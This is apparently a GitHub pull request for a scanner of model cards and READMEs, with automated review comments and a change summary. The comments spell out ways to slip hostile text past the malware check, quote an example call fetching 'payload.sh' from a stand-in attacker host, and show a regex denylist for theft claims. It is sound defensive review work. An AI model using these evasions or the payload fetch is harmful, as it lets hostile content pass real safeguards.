When a hostile admission appears in the immediately preceding paragraph, for example This model steals user data.\n\nMalware production may be possible., this loop moves context_start past the admission and validates only the boilerplate paragraph. The sole malware finding is consequently downgraded to INFO and the document can exit 0. Fresh evidence beyond the prior same-paragraph and following-paragraph cases is that a blank line before the boilerplate bypasses both checks; include bounded preceding context when deciding whether the exemption is safe.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
| # Python's tokenizer can rescan a long line for each error token. | ||
| # Charge its line length before asking for another token. | ||
| charge_work(len(item.line.encode("utf-8"))) |
There was a problem hiding this comment.
When a quote-index window contains a long valid line with many ordinary tokens before its last assignment-like candidate, this charges the entire line length for every token yielded, not merely when the tokenizer actually rescans after an error. For example, a 100 KiB generated line needs only about 80 tokens before exhausting the shared 8 MiB allowance; classifying a URL on that line then reports incomplete coverage, returns exit code 2, and disables caching despite processing only a small linear input. Charge incremental token spans during normal tokenization and reserve full-line charges for genuine rescan/error behavior.
AGENTS.md reference: AGENTS.md:L113-L113
Useful? React with 👍 / 👎.
| "* **Generation of Harmful Content:** Developers should assess outputs for their context and use available " | ||
| "safety classifiers or custom solutions appropriate for their use case.", |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 6c40beb806
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| return cls._documentation_prefix_has_enclosing_call(previous_line) | ||
| if previous_line_start == context_start: | ||
| break | ||
| if (current_indent == 0 and previous_indent == 0) or previous_indent < current_indent: |
There was a problem hiding this comment.
Fresh evidence beyond the prior open-call threads is that a four-space-indented code block such as download(\n [payload](https://evil.example/payload.sh)\n ) has equal indentation on the call and argument lines. This condition never parses the preceding line because neither side is zero-indent and previous_indent < current_indent is false; the Markdown link is consequently accepted as passive and can yield exit code 0. Parse candidate call lines at equal indentation as well, while retaining the existing prose/table guards.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
| rb"(?:it|(?:the|this)\s+(?:model|code|script|package))\s+(?:automatically\s+)?" | ||
| rb"(?:(?:steals?|exfiltrates?)\b|(?:installs?|executes?|runs?|launches?|deploys?)\s+" | ||
| rb"(?:it|code|scripts?|commands?)\b)" | ||
| rb"|(?:user\s+)?(?:data|inputs?|files?|credentials?|secrets?)\s+" | ||
| rb"(?:leaves?|is\s+(?:copied|sent|transmitted))\b[^.!?\r\n]{0,128}\bwithout\s+(?:user\s+)?consent\b" |
There was a problem hiding this comment.
Fresh evidence beyond the prior preceding-paragraph thread is that the new whole-document guard still recognizes only a finite verb list. For example, This model encrypts user files for ransom.\n\nMalware production may be possible. does not match this pattern; paragraph selection then discards the hostile first paragraph, accepts the misuse boilerplate, and downgrades the sole CRITICAL malware finding to INFO, allowing exit code 0. Avoid basing the downgrade on an incomplete blacklist of harmful verbs.
AGENTS.md reference: AGENTS.md:L25-L27
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Here are some automated security review suggestions for this pull request.
Reviewed commit: 6c40beb806
ℹ️ About Codex security reviews in GitHub
This is an experimental Codex feature. Security reviews are triggered when:
- You comment "@codex security review"
- A regular code review gets triggered (for example, "@codex review" or when a PR is opened), and you’re opted in so security review runs alongside code review
Once complete, Codex will leave suggestions, or a comment if no findings are found.
| if len(payload) > MAX_TEXT_FENCE_CONTEXT_BYTES or cls._bounded_documentation_has_harmful_behavior_claim( | ||
| payload | ||
| ): |
There was a problem hiding this comment.
🛡️ Codex Security Review · Automatically triggered
Required condition: an attacker-controlled README/model card is scanned with default network checks and this is its only actionable indicator. The new whole-document guard is a finite denylist: This model runs a payload on the scanner host during loading.\n\nMalware production may be possible. misses the harmful pattern; the blank line then discards the hostile prefix and the final sentence matches the misuse exemption. An exact parent/head replay changes the detector’s CRITICAL malware result to complete INFO with no limit marker, so CI can exit 0. This is fresh evidence beyond the prior continuation report because it bypasses the newly added global guard with a clear preface. Require positive proof that all surrounding prose is benign.
SECURITY.md reference: SECURITY.md:L19-L21
Useful? React with 👍 / 👎.
|
@codex review |
| if previous_line_start == context_start: | ||
| break | ||
| if (current_indent == 0 and previous_indent == 0) or previous_indent < current_indent: | ||
| prefix = context[previous_line_start:] |
| states[quote] = ( | ||
| max(pending, opened if value not in (quote, ord("\\"), ord("\r"), ord("\n")) else -1), | ||
| opened if value == ord("\\") else -1, | ||
| ) |
🛡️ Codex Security Review · Automatically triggeredSecurity review completed. No security issues were found in this pull request. Reviewed commit: Only the user who started this review can view the report in Codex. ℹ️ About Codex security reviews in GitHubThis is an experimental Codex feature. Security reviews are triggered when:
Once complete, Codex will leave suggestions, or a comment if no findings are found. |
Summary
Keep passive model-card references, multiline image/link attributes, and recognized capability or possible-misuse boilerplate informational. Require complete port numbers so arXiv identifiers such as
2310.06825do not become Telnet warnings, including when findings are retargeted after an earlier prose mention.Retain alerts for enclosing network calls, configuration values, executable HTML, and unfamiliar surrounding claims. The misuse exception requires recognized boilerplate throughout the complete paragraph and bounded following context. It also checks for recognized harmful-behavior claims across the complete document, capped at 256 KiB; larger documents retain the alert. This bounded check caches four results so repeated findings do not rescan the document. Hostile prefixes and unfamiliar or truncated continuation context retain alerts. Routine documented command examples are handled separately by #1913.
Reuse bounded Markdown-fence and quoted-assignment analysis, exclude synthetic assignments inside complete string literals, preserve context across long whitespace, and keep prose contractions from becoming callable identifiers. Fence analysis is limited to 256 KiB / 128 markers. Quote indexes use compact numeric buffers and four windows of at most 512 KiB, with a 256 KiB lookback. Scan-local indexes are keyed by the original payload and window offset so repeated lookups do not reslice or rehash large byte windows; the cache is bounded and released on success or failure. LF/CRLF tests write exact bytes.
All call-prefix tokenization now shares an 8 MiB per-scan budget, including retries and same-line Markdown links. Multiline recovery also retains its 256 KiB per-context limit and 128 cached prefixes of at most 16 KiB. Complete call-prefix results use an eight-entry cache with keys limited to 256 KiB; budget-dependent failures cannot enter either cache. Cheap structural proofs run first. Exhaustion retains findings, reports incomplete classification with exit code 2, and prevents clean-result caching. Findings that do not need call-context analysis retain their completed security verdict.
Quote tokenization first checks for assignment candidates and stops after passing the last candidate. A separate 8 MiB per-scan work allowance charges each window and incremental byte spans for ordinary tokens. Error tokens retain full-line charges before another token is requested, bounding repeated tokenizer rescans without exhausting the allowance on valid dense lines. Quote-budget exhaustion retains findings, reports
documentation_quote_contextcoverage loss with exit code 2, and is not cached.Validation
30f6848cto 5.49 s in the same Python 3.11 environment and remains informational. A larger 49 KiB stress case reaches the explicit work limit, retains findings, and returns exit code 2.30f6848c(13 after aggregation); the full-core replay matches that commit and the previous published head exactly. Phi-4's README and LICENSE at2db69c1c3e91a05d2c64a3185acfbaf36f744e25both return exit code 0 without alerts.6c40beb806fe25a53aad534ca9e4b44bb674a13b, based on main6128247b084f3bb64724706ab037c7de8ab242f5. Fresh current-head CI is pending.Local validation uses isolated Python 3.11 with telemetry disabled and existing dependencies/native extension. CI validates the supported package/platform matrix. No repository dependencies or lockfiles changed.